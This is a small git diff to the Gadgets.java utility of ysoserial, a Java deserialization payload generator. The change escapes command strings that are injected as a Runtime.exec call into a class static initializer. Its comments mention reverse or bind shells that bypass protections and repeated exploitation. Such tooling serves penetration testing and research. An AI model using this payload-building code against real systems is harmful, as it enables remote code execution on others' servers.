diff --git a/src/main/java/ysoserial/payloads/util/Gadgets.java b/src/main/java/ysoserial/payloads/util/Gadgets.java
index d304277..405bdb5 100644
--- a/src/main/java/ysoserial/payloads/util/Gadgets.java
+++ b/src/main/java/ysoserial/payloads/util/Gadgets.java
@@ -117,7 +117,9 @@ public class Gadgets {
         final CtClass clazz = pool.get(StubTransletPayload.class.getName());
         // run command in static initializer
         // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
-        String cmd = "java.lang.Runtime.getRuntime().exec(new String[] {" + Strings.join(Arrays.asList(command), ", ", "\"", "\"") + "});";
+        String cmd = "java.lang.Runtime.getRuntime().exec(new String[] {" + 
+                Strings.join(Arrays.asList(Strings.escapeJavaStrings(command)), ", ", "\"", "\"") + 
+                "});";
 
         clazz.makeClassInitializer().insertAfter(cmd);
         // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)